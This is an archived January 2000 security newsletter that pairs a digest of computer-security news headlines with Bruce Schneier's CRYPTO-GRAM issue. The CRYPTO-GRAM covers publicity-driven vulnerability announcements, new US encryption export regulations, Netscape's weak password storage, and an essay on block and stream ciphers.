InternetNews: Hackers Close Japanese Government Sites
<http://www.internetnews.com/intl-news/article/hackers.html> - So far this
week, hackers have made three successful attacks on the official Web sites
of two Japanese government agencies, altering the agencies' homepages and
possibly deleting government data.
ZDNet: Smart card 'inventor' lands in jail
<http://www.zdnet.com/zdnn/stories/news/0,4586,2428429,00.html> - Serge
Humpich says he was wasn't really stealing subway tokens -- just testing his
new invention. It could cost him seven years.
Jan 27, 2000
Wired: U.S. to Push China on Encryption
<http://www.wired.com/news/politics/0,1283,33950,00.html> - The United
States will press China to explain new regulations on encryption technology
at a meeting of economic leaders in Davos, Switzerland, U.S. Trade
Representative Charlene Barshefsky said Thursday.
TheRegister: New hack attack is greater threat than imagined
<http://www.theregister.co.uk/000127-000005.html> - It was news a month
ago; days later it vanished. The mainstream press may have forgotten it, but
security specialists gathered in California last week for the sixth RSA
Conference to consider the growing trend in malicious computer assaults
called distributed denial of service (DDoS) attacks. Dealing with this sort
of assault can be maddening for the primary victim. The clients from which
the attack is launched are themselves intermediate victims who rarely know
that their systems have been compromised. They are in diverse locations
around the world, administered by people who speak different languages,
making it nearly impossible for one victim to explain to another how to cope
with the threat
ZDNet: Does DoubleClick track too closely?
<http://www.zdnet.com/zdnn/stories/news/0,4586,2428392,00.html?chkpt=zdnntop
> - Many e-shoppers don't realize that companies like DoubleClick's Abacus
Direct pick up your trail at one of their sites and follow it wherever you
go
vnunet: Visa strengthens network after number kidnap
<http://www.vnunet.com/News/105782> - Last week a Visa spokesman admitted
that hackers had penetrated its computer network last July, but stressed
that they were detected almost immediately. The company has since hardened
its systems and the hackers have not returned, he said
TheRegister: New crypto technique beats current standard
<http://www.theregister.co.uk/000127-000025.html> - Called Cipherunicorn-A,
the technique creates a number of false keys in addition to the true
encryption key, making it more difficult for potential intruders to crack.
The approach should increase security while remaining compliant with the
Data Encryption Standard (DES) introduced by the US Department of Commerce,
a company spokesperson told The Register
CNet: Corel hurries to fix Linux security hole
<http://news.cnet.com/news/0-1003-200-1533081.html?tag=st.ne.1002.bgif.1003-
200-1533081> - Corel is working to patch a bug with its version of Linux
that could let unauthorized users gain access to machines running Corel
Linux, with a program called Corel Update
ZDNet: Bernstein crypto case to be reheard
<http://www.zdnet.com/zdnn/stories/news/0,4586,2428386,00.html?chkpt=zdhpnew
s01> - A U.S. Appeals Court panel will reconsider an earlier ruling
striking down export limits on computer data scrambling products in light of
new export rules announced this month by the White House
Microsoft Bulletin: Index Server
<http://securityportal.com/topnews/ms00-006.html> - This patch eliminates
two vulnerabilities whose only relationship is that both occur in Index
Server. The first is the "Malformed Hit-Highlighting Argument"
vulnerability. The second vulnerability involves the error message that is
returned when a user requests a non-existent Internet Data Query file
SCO Security Advisories: rtpm, scohelp <http://www.sco.com/security/> -
patches are available for buffer overflow vulnerabilities in rtpm, scohelp
CNN: Security improvements made at national labs
<http://www.cnn.com/2000/US/01/26/nuclear.security.ap/index.html> -
Security at nuclear weapons labs has made "monumental strides" in the past
year, but computer protection is still not 100 percent, the Energy
Department's top security official says.
Jan 26, 2000
Wired: Echelon 'Proof' Discovered
<http://wired.com/news/politics/0,1283,33891,00.html> - References to a
project Echelon have been found for the first time in declassified National
Security Agency documents, says the researcher who found them. Researcher
claims there is no evidence over mis-use of the system
Industry Standard: China Installs Net Secrecy Rules
<http://www.thestandard.net/article/display/0,1151,9125,00.html> - China
clamped new controls onto the Internet on Wednesday to stop Web sites from
"leaking state secrets" and an official newspaper said curbs on news content
were on the way
BBC: Old computer viruses still bite
<http://news.bbc.co.uk/hi/english/sci/tech/newsid_619000/619687.stm> - An
analysis of the most common computer viruses of 1999 shows that although the
threat of new self-propagating viruses is growing, older viruses are still
very common. One boot sector virus, Form, is nearly a decade old but still
appears in the top ten
FCW: Clinton aides fight for cybersecurity bill
<http://www.fcw.com/fcw/articles/2000/0124/web-securitybill-01-26-00.asp> -
Senior Clinton administration officials are urging Congress to support a
bill that would provide a defense against criminals who now have access to
more secure communications thanks to new encryption export regulations
released this month
ZDNet: Scam tricks users into 'stealing'
<http://www.zdnet.com/zdnn/stories/news/0,4586,2427490,00.html?chkpt=zdhpnew
s01> - So just what do computer criminals do with stolen credit cards? How
about tricking innocent electronics shoppers into stealing on their behalf?
That's how at least one scam artist is playing the online credit card game,
MSNBC has learned
Why random numbers are important for security
<http://securityportal.com/direct.cgi?/closet/closet20000126.html> - Modern
computer security requires some level of encryption to be applied to various
kinds of data, for example secure web transactions, or SSH. But something
that often goes ignored is the fact that all good crypto relies on some
degree of randomness, which if not fulfilled properly can lead to a
significant loss in the strength of encryption
Sophos: XM97/Divi-A Excel 97 Macro virus
<http://www.sophos.com/virusinfo/analyses/xm97divia.html> - XM97/Divi-A is
an Excel spreadsheet macro virus. It creates a file called BASE5874.XLS in
the Excel template directory, and will infect other spreadsheets as they are
opened or closed
Caldera: Advisory number: CSSA-1999-039.0 Various security problems with
majordomo
<ftp://ftp.calderasystems.com/pub/OpenLinux/security/CSSA-1999-039.0.txt> -
There are several bugs in majordomo that allow arbitrary users to execute
commands with the privilege of majordomo. If the sendmail aliases file
contains aliases that invoke majordomo, a compromise of additional system
accounts is possible, which may further on lead to a root compromise. An
immediate root exploit has not been found however
Jan 25, 2000
MontrealGazette: How safe is voice mail?
<http://www.montrealgazette.com/news/pages/000124/3483600.html> - When
Steven Boudrias was charged recently with infiltrating the Montreal Urban
Community police department's voice-mail system, the question blinking
alongside the message light on most people's phones is how safe electronic
call-answering really is
Intelligence Gathering on the Net
<http://securityportal.com/direct.cgi?/topnews/intell20000125.html> -
Prerequisites for computer security professionals include a knowledge of
networking, scripting languages, operating systems, and security
countermeasures. High-level technical savvy marks the true professional;
such expertise, however, carries a practitioner only so far. An effective
professional also listens for what's coming down the track
Fairfax: Big keys unlock door to strong encryption
<http://www.it.fairfax.com.au/software/20000125/A39666-2000Jan21.html> -
Australians will find it much easier to get strong cryptography protection
for their on-line business activities following the United States
Government's 14 January decision to liberalise its export restrictions
HP Bulletin: Security Vulnerability with PMTU strategy
<http://securityportal.com/topnews/hp20000124.html> - An HP-UX 10.30/11.00
system can be used as an IP traffic amplifier. Small amounts of inbound
traffic can result in larger amounts of outbound traffic
Sophos: WM97/Melissa-AK virus
<http://www.sophos.com/virusinfo/analyses/wm97melissaak.html> -
WM97/Melissa-AK is a variant of WM97/Melissa. It will attempt to email a
copy of the infected document to the first 50 entries in the Outlook address
book. If the current day of the month is equal to the current minute it will
insert the phrase Symbytes Ver. 7.x mucking about..The Mahatma. into the
active document
Cisco: IPsec/CEF Software Defect on Route Switch Processors
<http://www.cisco.com/warp/public/770/fn10611.shtml> - On all RSP and RSM
processors, when an interface in the router is configured with an IPSec
crypto map and the switching mode is Cisco Express Forwarding (CEF), the RSP
and RSM will restart when it attempts to decrypt IPSec packets. Patch not
yet available, workaround is to disable Cisco Express Forwarding
Sunday Times: French spies listen in to British calls
<http://www.sunday-times.co.uk/news/pages/Sunday-Times/stinwenws03006.html?9
99> - French intelligence is intercepting British businessmen's GSM calls
after investing millions in satellite technology for its listening stations
Computer Currents: Cybercrime Harder to Prosecute
<http://www.computercurrents.com/newstoday/00/01/24/news2.html> - US
Justice Department officials reportedly called computer crime a growing
menace to corporations worldwide, and admitted that law enforcement agents
face major hurdles in combating it
ZDNet: Hackers impersonate AOL users
<http://www.zdnet.com/zdnn/stories/news/0,4586,2426698,00.html?chkpt=zdhpnew
s01> - Teenage hackers are pretending to be AOL users, then coercing
friends into divulging personal information
Jan 24, 2000
ABCNews: Law Enforcement Is Rushing to Catch the Online Crime Wave
<http://abcnews.go.com/sections/us/DailyNews/cybercrime_part2.html> - From
Web site hackers to child pornographers, credit card thieves and e-mail
terrorists, crime online is mushrooming, says Schwartz. And the crime
fighters are struggling to catch up
Wired: More Bad News for DVD Hackers
<http://www.wired.com/news/politics/0,1283,33845,00.html> - Judge William
J. Elfving issued a preliminary injunction Friday ordering 21 defendants to
stop posting code that breaks through the security software of DVDs to their
Web sites
Wired: Outpost Leaves Data Unguarded
<http://www.wired.com/news/technology/0,1282,33842,00.html> - While James
Wynne was checking his online order Friday at Outpost.com, he noticed
something curious -- he could check orders from other people, too
******* What's new with SecurityPortal.com *******
The Unbreakable Cipher: Why Not Just Stay With Perfection?
John Savard gets under the covers of ciphers to explain why the market uses
DES and RSA algorithms instead of the "perfect" cipher. Read the full story
here. <http://securityportal.com/direct.cgi?/topnews/crypto20000119.html>
Tell us how we are doing. Send any other questions or comments to
webmaster@securityportal.com <mailto:webmaster@securityportal.com> .
Jim Reavis
SecurityPortal.com - The focal point for security on the Net
jreavis@SecurityPortal.com <mailto:jreavis@SecurityPortal.com>
@HWA
19.0 CRYPTOGRAM Jan 15th
~~~~~~~~~~~~~~~~~~~
Forwarded From: Bruce Schneier <schneier@counterpane.com>
CRYPTO-GRAM
January 15, 2000
by Bruce Schneier
Founder and CTO
Counterpane Internet Security, Inc.
schneier@counterpane.com
http://www.counterpane.com
A free monthly newsletter providing summaries, analyses, insights, and
commentaries on computer security and cryptography.
Back issues are available at http://www.counterpane.com. To subscribe or
unsubscribe, see below.
Copyright (c) 2000 by Bruce Schneier
** *** ***** ******* *********** *************
In this issue:
"Key Finding" Attacks and Publicity Attacks
Counterpane -- Featured Research
News
New U.S. Encryption Regulations
Counterpane Internet Security News
The Doghouse: Netscape
Block and Stream Ciphers
Comments from Readers
** *** ***** ******* *********** *************
"Key Finding" Attacks and Publicity Attacks
A couple of weeks ago the New York Times reported a new "key finding"
attack. This was a follow-up to some research discussed here some months
ago, showing how to search for, and find, public and private cryptographic
keys in software because of their random bit patterns.
The company nCipher demonstrated that someone who has access to a Web
server that uses SSL can find the SSL private key using these techniques,
and potentially steal it. nCipher's press release talked of "a significant
vulnerability to today's Internet economy." Huh? Why is this news?
It's not the fact that the SSL private keys are on the Web server. That's
obvious; they have to be there. It's not the fact that someone who has
access to the Web server can potentially steal the private keys. That's
obvious, too. It's not the news that a CGI attack can compromise data on a
Web server. We've seen dozens of those attacks in 1999. Even the press
release admits that "no information is known to have been compromised using
a 'key-finding' attack. Neither nCipher nor the New York Times found
anyone who was vulnerable. But wait . . . nCipher sells a solution to this
"problem." Okay, now I understand.
I call this kind of thing a publicity attack. It's a blatant attempt by
nCipher to get some free publicity for the hardware encryption
accelerators, and to scare e-commerce vendors into purchasing them. And
people fall for this, again and again.
This kind of thing is happening more and more, and I'm getting tired of it.
Here are some more examples:
* An employee of Cryptonym, a PKI vendor, announced that he found a
variable with the prefix "NSA" inside Microsoft's cryptographic API. Based
on absolutely zero evidence, this was held up as an example of NSA's
manipulation of the Microsoft code.
* Some people at eEye discovered a bug in IIS last year, completely
compromising the product. They contacted Microsoft, and after waiting only
a week for them to acknowledge the problem, they issued a press release and
a hacker tool. Microsoft rushed a fix out, but not as fast as the hackers
jumped on the exploit. eEye sells vulnerability assessment tools and
security consulting, by the way.
I'm a fan of full disclosure -- and definitely not a fan of Microsoft's
security -- and believe that security vulnerabilities need to be publicized
before they're fixed. (If you don't publicize, the vendors often don't
bother fixing them.) But this practice of announcing "vulnerabilities" for
the sole purpose of hyping your own solutions has got to stop.
Here are some examples of doing things right:
* The University of California Berkeley researchers have broken just about
every digital cellphone security algorithm. They're not profiting from
these breaks. They don't publish software packages that can listen in on
cellphone calls. This is research, and good research.
* Georgi Guninski has found a huge number of JavaScript holes over the
past year or so. Rather than posting scary exploits and cracking tools
that script kiddies could take advantage of, and rather than trying to grab
the limelight, he has been quietly publishing the problems and available
workarounds. Of course, the downside is that these bugs get less attention
from Microsoft and Netscape, even though they are as serious as many others
that have received more press attention and thus get fixed quickly by the
browser makers. Nonetheless, this is good research.
* The L0pht has done an enormous amount of good by exposing Windows NT
security problems, and they don't try to sell products to fix the problems.
(Although now that they've formed a VC-funded security consulting company,
@Stake, they're going to have to tread more carefully.)
* Perfecto markets security against CGI attacks. Although they try to
increase awareness of the risks, they don't go around writing new CGI
exploits and publicizing them. They point to other CGI exploits, done by
hackers with no affiliation to the company, as examples of the problem.
* Steve Bellovin at AT&T labs found a serious hole in the Internet DNS
system. He delayed publication of this vulnerability for years because
there was no readily available fix.
How do you tell the difference? Look at the messenger. Who found the
vulnerability? What was their motivation for publicizing? The nCipher
announcement came with a Business Wire press release, and a PR agent who
touted the story to reporters. These things are not cheap -- the press
release alone cost over $1000 -- and should be an obvious tip-off that
other interests are at stake.
Also, look critically at the exploit. Is it really something new, or is it
something old rehashed? Does it expose a vulnerability that matters, or
one that doesn't? Is it actually interesting? If it's old, doesn't
matter, and uninteresting, it's probably just an attempt at press coverage.
And look at how it is released. The nCipher release included a hacker
tool. As the New York Times pointed out, "thus making e-commerce sites
more vulnerable to attack and more likely to buy nCipher's product."
Announcements packaged with hacker tools are more likely to be part of the
problem than part of the solution.
I am a firm believer in open source security, and in publishing security
vulnerabilities. I don't want the digital cellphone industry, or the DVD
industry, to foist bad security off on consumers. I think the quality of
security products should be tested just as the quality of automobiles is
tested. But remember that security testing is difficult and
time-consuming, and that many of the "testers" have ulterior motives.
These motives are often just as much news as the vulnerability itself, and
sometimes the announcements are more properly ignored as blatant
self-serving publicity.
The NY Times URLs using their search function change daily, but you can go
to http://search.nytimes.com/plweb-cgi/ and use the Extended Search; the
article title is "Attacks on Encryption Code Raise Questions About Computer
Vulnerability".
NCipher's press release:
http://www.ncipher.com/news/files/press/2000/vulnerable.html
NCipher's white paper (Acrobat format):
http://www.ncipher.com/products/files/papers/pcsws/pcsws.pdf
** *** ***** ******* *********** *************
Counterpane -- Featured Research
"A Cryptographic Evaluation of IPsec"
N. Ferguson and B. Schneier, to appear
We perform a cryptographic review of the IPsec protocol, as described in
the November 1998 RFCs. Even though the protocol is a disappointment --
our primary complaint is with its complexity -- it is the best IP security
protocol available at the moment.
http://www.counterpane.com/ipsec.html
** *** ***** ******* *********** *************
News
You can vote via the Internet in the Arizona Democratic primary. Does
anyone other than me think this is terrifying?
http://dailynews.yahoo.com/h/nm/19991217/wr/arizona_election_1.html
An expert at the British government's computer security headquarters has
endorsed open-source solutions as the most secure computer architecture
available:
http://212.187.198.142/news/1999/50/ns-12266.html
The DVD Copy Control Association is pissed, and they're suing everyone in
sight.
http://www.cnn.com/1999/TECH/ptech/12/28/dvd.crack/
Moore's Law and its effects on cryptography:
http://www.newscientist.com/ns/20000108/newsstory2.html
Information warfare in the Information Age:
http://www.cnn.com/1999/TECH/computing/12/30/info.war.idg/index.html
http://www.it.fairfax.com.au/industry/19991227/A59706-1999Dec27.html
Radio pirates: In the U.K., some radios can receive a digital signal that
causes them to automatically switch to stations playing traffic reports.
Hackers have figured out how to spoof the signal, forcing the radio to
always tune to a particular station. Good illustration of the hidden
vulnerabilities in digital systems.
http://news.bbc.co.uk/hi/english/sci/tech/newsid_592000/592972.stm
http://uk.news.yahoo.com/000106/18/d6jt.html
Well, this sure is inaccurate:
http://www.lancrypto.com/algorithms_e.htm
Some months ago I mentioned the Y2K notice from Hart Scientific. They now
have a sequel:
http://www.hartscientific.com/y2k-2.htm
RSA "digital vault" software:
http://news.excite.com/news/pr/000111/ma-rsa-keon-software
E-commerce encryption glitch; a good example of why people are the worst
security problem. A programmer just forgot to reactivate the encryption.
http://news.excite.com/news/r/000107/17/news-news-airlines-northwest
Become an instant cryptography portal. Encryption.com, encryption2000.com,
and 1-800-ENCRYPT are for sale.
http://news.excite.com/news/bw/000111/wa-azalea-software
http://www.encryption.com
Mail encryption utility that lets you take back messages you regret
sending. Does anyone believe that this is secure?
http://www.zdnet.com:80/anchordesk/story/story_4323.html
Human GPS implants:
http://www.newscientist.com/ns/20000108/newsstory8.html
Clinton's hacker scholarships:
http://chronicle.com/free/2000/01/2000011001t.htm
Microsoft is building a VPN into Windows 2000. Whose tunnel do you want to
hack today?
http://www.networkworld.com/news/2000/0110vpn.html
Someone stole a bunch of credit card numbers from CD Universe, tried
extortion, then posted some:
http://www.wired.com/news/technology/0,1282,33563,00.html
http://www.msnbc.com/news/355593.asp
and Cybercash's reaction (with a nice quote about how impregnable their
product's security is; way to wave a red flag at the hackers):
http://www.internetnews.com/ec-news/article/0,1087,4_279541,00.html
An interesting three-part article about video surveillance and its effect
on society:
http://www.villagevoice.com/issues/9840/boal.shtml
The system used to fund a series of anti-Bush commercials loosely resembles
my "street performer protocol," using the credit card company instead of a
publisher as a trusted third party. They validate your card when you
pledge, but only charge it if they get enough to run an ad:
http://www.gwbush.com/
Street performer protocol:
http://www.counterpane.com/street_performer.html
You can steal subway rides on the NY City system by folding the Metrocard
at precisely the right point. The Village Voice and NY Times ran stories
about it, but those are no longer available, at least for free. There's a
copy of the NYTimes story here:
http://www.monkey.org/geeks/archive/9801/msg00052.html
The 2600 "Off the Hook" RealAudio for 2/3/98 talks about it, starting
around 54:35. The RealAudio is linked from here:
http://www.2600.com/offthehook/1998/0298.html
The White House released a national plan to protect America's computer
systems from unauthorized intrusions. This plan includes the establishment
of the controversial Federal Intrusion Detection Network (FIDNET), which
would monitor activity on government computer systems. (So far, there are
no plans to monitor commercial systems, but that can change. The
government does want to involve industry in this.) The plan also calls for
the establishment of an "Institute for Information Infrastructure
Protection" and a new program that will offer college scholarships to
students in the field of computer security in exchange for public service
commitments. The scholarship program seems like a good idea; we need more
computer security experts.
http://www.thestandard.com/article/display/0,1151,8661,00.html
http://dailynews.yahoo.com/h/ap/20000107/ts/clinton_cyber_terrorism_4.html
http://news.excite.com/news/ap/000107/01/tech-clinton-cyber-terrorism
http://www.msnbc.com/news/355783.asp
http://www.computerworld.com/home/print.nsf/all/000107DB3A
EPIC analysis:
http://www.epic.org/security/CIP/
White House plan (PDF):
http://www.whitehouse.gov/WH/EOP/NSC/html/documents/npisp-execsummary-000105
.pdf
White House press release:
http://www.epic.org/security/CIP/WH_pr_1_7_00.html
White House press briefing:
http://www.epic.org/security/CIP/WH_briefing_1_7_00.html
** *** ***** ******* *********** *************
New U.S. Encryption Regulations
We have some, and they're a big improvement. On the plus side, "retail"
encryption products -- like browsers, e-mail programs, or PGP -- will be
widely exportable to all but a few countries "regardless of key length or
algorithm." On the minus side, the new regulations are complex (an
unending stream of work for the lawyers) and will still make it difficult
for many people to freely exchange encryption products. They also do not
address the Constitutional free speech concerns raised by encryption export
controls.
Major features of the new regs:
* "Retail" encryption products are be exportable, regardless of key length
or algorithm, to all but the designated "T-7" terrorist nations. In order
to export you need to fill out paperwork. You need to get a retail
classification, submit your product to a one-time technical review, and
submit periodic reports of who products are shipped to (but not necessarily
report end users).
* Export of encryption products up to 64 bits in key length is completely
liberalized.
* "Non-retail" products will require a license for many exports, such as to
foreign governments or foreign ISPs and telcos under certain circumstances.
* Source code that is "not subject to an express agreement for the payment
of a licensing fee or royalty for commercial production or sale of any
product developed with the source code" is freely exportable to all but the
T-7 terrorist countries. Source code exporters are required to send the
Department of Commerce a copy of the code, or a URL, upon publication.
Note that posting code on a web site for anonymous download is allowed; you
are not required to check that downloaders might be from one of the
prohibited countries.
One obvious question is: "How does this affect the Bernstein and Karn court
cases?" I don't know yet. The free speech concerns are not addressed, but
the things that Bernstein and Karn wanted to do are now allowed. We'll
have to see what the attorneys think.
A more personal question is: "How does this affect the Applied Cryptography
source code disks?" Near as I can tell, all I have to do is notify the
right people and I can export them. I will do so as soon as I can. Stay
tuned.
The actual regs (legalese):
http://www.eff.com/pub/Privacy/ITAR_export/2000_export_policy/20000112_crypt
oexport_regs.html
EFF's press release:
http://www.eff.com/11300_crypto_release.html
Reuters story with BSA and Sun reactions:
http://news.excite.com/news/r/000112/19/tech-tech-encryption
Reuters story with EFF reaction:
http://news.excite.com/news/r/000113/13/tech-tech-encryption
AEA reaction press release:
http://news.excite.com/news/pr/000112/dc-aea-encryption-reg
ACLU and EPIC reaction:
http://news.excite.com/news/zd/000113/18/crypto-compromise-a
** *** ***** ******* *********** *************
Counterpane Internet Security News
Bruce Schneier profiled in Business Week:
http://businessweek.com/cgi-bin/ebiz/ebiz_frame.pl?url=/ebiz/9912/em1229.htm
Bruce Schneier is speaking at BlackHat in Singapore, 3-4 April 2000. He'll
also be at BlackHat and DefCon in Las Vegas.
http://www.blackhat.org
http://www.defcon.org
Bruce Schneier is speaking at the RSA Conference in San Jose: Tuesday, 18
Jan, 2:00 PM, on the Analyst's Track. I don't know if it made it into the
program, but Bruce will be on stage with Matt Blaze, Steve Bellovin, and
several other really smart people.
** *** ***** ******* *********** *************
The Doghouse: Netscape
Netscape encrypts users' e-mail passwords with a lousy algorithm. If this
isn't enough, their comments to the press cement their inclusion in the
doghouse:
"Chris Saito, the senior director for product management at Netscape, said
that the option to save a password locally was included for convenience.
Saito added that Netscape didn't use a stronger encryption algorithm to
protect passwords so that 'computer experts could still access the
information, in case someone forgot their password.'"
In other words, they implemented lousy security on purpose.
"Netscape's Saito said the company wasn't aware of the vulnerability and
added that a 'security fix' would be forthcoming if that vulnerability were
proved to exist. If the Javascript vulnerability doesn't exist, a password
stealer would have to have physical access to a user's computer to figure
out the algorithm."
Note the complete ignorance of viruses like Melissa, or Trojan horses like
Back Orifice.
"Saito noted that Netscape already has numerous safety features, including
a Secure Sockets Layer, which enables users to communicate securely with
Web servers, and a protocol for encrypting e-mail messages sent."
None of which matters if the password is stolen.
http://www.zdnet.com/zdnn/stories/news/0,4586,2409537,00.html
RST's information:
http://www.rstcorp.com/news/bad-crypto.html
http://www.rstcorp.com/news/bad-crypto-tech.html
** *** ***** ******* *********** *************
Block and Stream Ciphers
Block and stream ciphers both transform a message from plaintext to
ciphertext one piece at a time. Block ciphers apply the same
transformation to every piece of the message, and typically deal with
fairly large pieces of the message (8 bytes, 16 bytes) at a time. Stream
ciphers apply a different transformation to each piece of the message, and
typically deal with fairly small pieces of the message (1 bit, 1 byte) at a
time.
Traditionally they have been separate areas of research, but these days
they are converging. And if you poke around at the issues a bit, you'll
see that they not very different at all.
Stream ciphers first. Traditional stream ciphers consist of three standard
pieces: an internal state, a next-state function, and a
plaintext-to-ciphertext transformation function. The internal state is
generally small, maybe a hundred bits, and can be thought of as the key.
The next-state function updates the state. The transformation function
takes a piece of plaintext, mixes it with the current state, and produces
the same size ciphertext. And then the stream cipher goes on to the next
piece.
The security of this scheme is based on how cryptographically annoying the
two functions are. Sometimes just one of the functions is
cryptographically annoying. In electronic stream ciphers, a complicated
next-state function is usually combined with a simple transformation that
takes the low-order bit of the state and XORs it with the plaintext. In
rotor machines, such as the German Enigma, the next-state function was a
simple stepping of various rotors, and the transformation function was very
complicated. Sometimes both are cryptographically complicated.
These ciphers could generally operate in two modes, depending on the input
into the next-state function. If the only input was the current state,
these were called output-feedback (OFB) ciphers. If there was the
additional input of the previous ciphertext bit, these were called
cipher-feedback (CFB) ciphers. (If you were in the U.S. military, you knew
these modes as "key auto-key" (KAK) and "ciphertext auto-key (CTAK),
respectively.) And you chose one mode over the other because of error
propagation and resynchronization properties. (Applied Cryptography
explains all this in detail.)
Traditionally, stream cipher algorithms were as simple as possible. These
were implemented in hardware, and needed as few gates as possible. They
had to be fast. The result was many designs based on simple mathematical
functions: e.g., linear feedback shift registers (LFSRs). They were
analyzed based on metrics such as linear complexity and correlation
immunity. Analysts looked at cycle lengths and various linear and affine
approximations. Most U.S. military encryption algorithms, at least the
ones in general use in the 1980s and before, are stream ciphers of these sorts.
Block ciphers are different. They consist of a single function: one that
takes a plaintext block (a 64-bit block size is traditional) and a key and
produces a ciphertext block. The NSA calls these ciphers codebooks, and
that is an excellent way to think of them. For each key, you can imagine
building a table. On the left column is every possible plaintext block; on
the right column is every possible ciphertext block. That's the codebook.
It would be a large book, 18 billion billion entries for the smallest
commonly used block ciphers, so it is easier to just implement the
algorithm mathematically -- especially since you need a new book for each
key. But in theory, you could implement it as a single table lookup in a
very large codebook.
Block ciphers can be used simply as codebooks, encrypting each 64-bit block
independently (and, in fact, that is called electronic codebook (ECB)
mode), but that has a bunch of security problems. An attacker can
rearrange blocks, build up a portion of the codebook if he has some known
plaintext, etc. So generally block ciphers are implemented in one of
several chaining modes.
Before listing the block cipher chaining modes, it's worth noticing that a
block cipher algorithm can serve as any of the functions needed to build a
stream cipher: the next-state function or the output function. And, in
fact, that is what block cipher modes are: stream ciphers built using the
block cipher as a primitive. A block cipher in output-feedback mode is
simply the block cipher used as the next-state function, with the output of
the block cipher being the simple output function. A block cipher in
cipher-feedback mode is the same thing, with the addition of the ciphertext
being fed into the next-state function. A block cipher in counter mode
uses the block cipher as the output function, and a simple counter as the
next-state function. Cipher block chaining (CBC) is another block-cipher
mode; I've seen the NSA call this "cipher-driven codebook" mode. Here the
block cipher is part of the plaintext-to-ciphertext transformation
function, and the next-state function is simple.
For some reason I can't explain, for many years academic research on block
ciphers was more practical than research on stream ciphers. There were
more concrete algorithm proposals, more concert analysis, and more
implementations. While stream cipher research stayed more theoretical,
block ciphers were used in security products. (I assume this was the
reverse in the military, where stream ciphers were used in products and
were the target of operational cryptanalysis resources.) DES's official
sanction as a standard helped this, but before DES there was Lucifer. And
after DES there was FEAL, Khufu and Khafre, IDEA, Blowfish, CAST, and many
more.
Recently, stream ciphers underwent something of a renaissance. These new
stream ciphers were designed for computers and not for discrete hardware.
Instead of producing output a bit at a time, they produced output a byte at
a time (like RC4), or 32 bits at a time (like SEAL or WAKE). And they were
no longer constrained by a small internal state -- RC4 takes a key and
turns it into a 256-byte internal state, SEAL's internal state is even
larger -- or tight hardware-based complexity restrictions. Stream ciphers,
which used to be lean and mathematical, started looking as ugly and kludgy
as block ciphers. And they started appearing in products as well.
So, block and stream ciphers are basically the same thing; the difference
is primarily a historical accident. You can use a block cipher as a stream
cipher, and you can take any stream cipher and turn it into a block cipher.
The mode you use depends a lot on the communications medium -- OFB or CBC
makes the most sense for computer communications with separate error
detection, while CFB worked really well for radio transmissions -- and the
algorithm you choose depends mostly on performance, standardization, and
popularity.
There's even some blurring in modern ciphers. SEAL, a stream cipher, looks
a lot like a block cipher in OFB mode. Skipjack, an NSA-designed block
cipher, looks very much like a stream cipher. Some new algorithms can be
used both as block ciphers and stream ciphers.
But stream ciphers should be faster than block ciphers. Currently the
fastest block ciphers encrypt data at 18 clock cycles per byte (that's
Twofish, the fastest AES submission). The fastest stream ciphers are even
faster: RC4 at 9 clock cycles per byte, and SEAL at 4. (I'm using a
general 32-bit architecture for comparison; your actual performance may
vary somewhat.) I don't believe this is an accident.
Stream ciphers can have a large internal state that changes for every
output, but block ciphers have to remain the same. RC4 has a large table
-- you can think of it as an S-box -- that changes every time there is an
output. Most block ciphers also have some kind of S-box, but it remains
constant for each encryption with the same key. There's no reason why you
can't take a block cipher, Blowfish for example, and tweak it so that the
S-boxes modify themselves with every output. If you're using the algorithm
in OFB mode, it will still encrypt and decrypt properly. But it will be a
lot harder to break for two reasons. One, the internal state is a moving
target and it is a lot harder for an attacker to build model of what is
going on inside the state. Two, if the plaintext-to-ciphertext
transformation is built properly, attacks based on chosen plaintext or
chosen ciphertext are impossible. And if it is a lot harder to break a
cipher with self-modifying internals, then you can probably get by with
fewer rounds, or less complexity, or something. I believe that there is
about a factor of ten speed difference between a good block cipher and a
good stream cipher.
Designing algorithms is very hard, and I don't suggest that people run out
and modify every block cipher they see. We're likely to continue to use
block ciphers in stream-cipher modes because that's what we're used to, and
that's what the AES process is going to give us as a new standard. But
further research into stream ciphers, and ways of taking advantage of the
inherent properties of stream ciphers, is likely to produce families of
algorithms with even better performance.
** *** ***** ******* *********** *************
Comments from Readers
From: Markus Kuhn <Markus.Kuhn@cl.cam.ac.uk>
Subject: German smart-card hack
The note on "German hackers have succeeded in cracking the Siemens digital
signature chip" in the 1999-12-15 CRYPTO-GRAM is wrong. I have been in
contact with the German Hacker (Christian Kahlo) behind this story. He
discovered that one user of the Siemens SLE44 chip series included in his
ROM software a routine that allowed him to upload and execute not only
interpreter bytecode, but also raw 8052 assembler instructions. Using this
undocumented facility, Christian uploaded a tiny assembler program that
dumped the entire ROM of the card. The ROM was investigated, posted on the
USENET as a documented disassembler listing in a TeX file and no
vulnerabilities were found. Christian also discovered in the ROM that the
SLE chips send out the chip type and serial number when the I/O line is
held low during a positive reset edge and the following 600-700 clock
cycles, which is a perfectly normal feature (comparable to the BIOS
power-up message of a PC) that is fully documented in the SLE44 data sheets
and that is not security relevant.
No smartcard applications were hacked this way, no vulnerability was found
in any smartcard application, and definitely no private keys were
compromised. All this also has nothing to do with digital signatures. Any
news to the contrary is the result of misunderstandings by journalists, who
as usual fill in the gaps of the story with their limited technical
background knowledge and try to formulate such reports to be more
spectacular than the story behind them. The only policy that has been
violated here is that Siemens -- like most other smartcard chip producers
-- tries to make sure that nobody except big customers can easily get
access to smartcard development kits that allow to upload assembler code
directly, which might otherwise shorten the learning curve for a
microprobing attacker slightly. Users of Siemens chips that allow code
uploads are apparently required to use a bytecode interpreter instead.
This policy seems to have been ignored secretly by one Siemens customer who
left a backdoor in his byte-code interpreter to enable the later upload of
high-speed crypto routines that cannot be implemented sufficiently
efficient in the bytecode.
Christian discovered this, even though he decided *not* publish the details
on how he did this or the name of the Siemens customer in whose cards he
had discovered this. All he published was a dump of the standard Siemens
SLE ROM code (CMS = Chip Management System, comparable to a PC BIOS), a
piece of code that had already been known semi-publicly for many years in
the pay-TV hacking community from successful microprobing attacks on the
SLE44 series. Christian's main contribution is that he has discovered a
very nice low-cost assembler-level development kit for some of the SLE
smartcards, which used to cost a fortune and an NDA before. This is not
the first time that this has happened: Pay-TV smartcards have been shipped
before with software that
provides for uploads of EEPROM software patches with broken authentication
techniques, which has been known and used in the smartcard tampering
community for many years.
From: anonymous
Subject: Re: New U.S. Crypto Export Regulations
In CRYPTO-GRAM of December 15, 1999 you wrote about the proposed new U.S.
crypto export regulations, and I can agree with everything you said.
However, I believe you missed something important: the view FROM the rest
of the world.
